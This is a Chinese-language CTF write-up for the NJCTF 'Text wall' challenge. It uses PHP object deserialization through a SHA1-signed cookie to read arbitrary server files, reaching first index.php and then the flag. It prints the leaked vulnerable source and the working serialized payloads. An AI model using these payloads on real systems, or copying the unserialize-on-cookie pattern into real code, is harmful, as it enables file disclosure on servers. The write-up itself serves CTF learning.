NJCTF Text wall writeup php反序列化题
0x00 思路
输入hiehiehie
点击submit之后,查看cookie,有一个list参数,其值为:
1
| 24c5889e00902d6bcc65073f0e91ea30bbe203c2a:1:{i:0;s:9:"hiehiehie";}
|
前面这串看这像md5,于是将a:1:{i:0;s:9:"hiehiehie";}
加密,发现是sha1加密
按照套路,这就是一道反序列化题,构造反序列化一般都需要源码,所以找到了源码泄露点:
http://218.2.197.235:23721/.index.php.swo
长这个样子
1 2 3 4 5 6 7 8 9 10
| <?php $lists = []; Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } ........ ?>
|
__toString()函数在echo一个对象时被调用
于是先自己构造一个filelist类的序列
1 2 3 4 5 6 7 8 9 10 11 12 13
| Class filelist{ function __construct(){ $this->source = 'index.php'; } public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $file = new filelist(); var_dump(serialize($file)); ?>
|
结果
string 'O:8:"filelist":1:{s:6:"source";s:9:"index.php";}' (length=48)
放到cookie提交
出来个这
把index.php打印出来了,可见它的echo点就在index.php这个地方,而不是我们传过去的整个序列化字符串
那么,可以在一个类中将变量设定为filelist类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $lists = []; Class a{ function __construct(){ $this->a = new filelist(); } } Class filelist{ function __construct(){ $this->source = 'index.php'; } public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $file = new a(); var_dump(serialize($file));
|
类a是自己随便构造的,目的是想通过它echo变量a,而变量a又是filelist实例,这样,就能执行filelist的toString函数,就能将source变量指定文件的源码打印出来了
结果:
string 'O:1:"a":1:{s:1:"a";O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}' (length=68)
提交:
9f57a6efb19d4e418d5c4284ef002eb4e5eec13aO:1:"a":1:{s:1:"a";O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}
得到index.php的源码
看到了flag的地址,用相同方法可读取到flag。
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| //The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g $lists = []; Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } if(isset($_COOKIE['lists'])){ $cookie = $_COOKIE['lists']; $hash = substr($cookie, 0, 40); $sha1 = substr($cookie, 40); if(sha1($sha1) === $hash){ $lists = unserialize($sha1); } } if(isset($_POST['hiehiehie'])){ $info = $_POST['hiehiehie']; $lists[] = $info; $sha1 = serialize($lists); $hash = sha1($sha1); setcookie('lists', $hash.$sha1); header('Location: '.$_SERVER['REQUEST_URI']); exit; } ?> <!DOCTYPE html> <html> <head> <title>Please Get Flag!!</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css"> <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script> <script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <div class="jumbotron"> <h1>Please Get Flag!!</h1> </div> <div class="row"> <?php foreach($lists as $info):?> <div class="col-sm-4"> <h3><?=$info?></h3> </div> <?php endforeach;?> </div> <form method="post" href="."> <input name="hiehiehie" value="hiehiehie"> <input type="submit" value="submit"> </form> </div> </body> <html>
|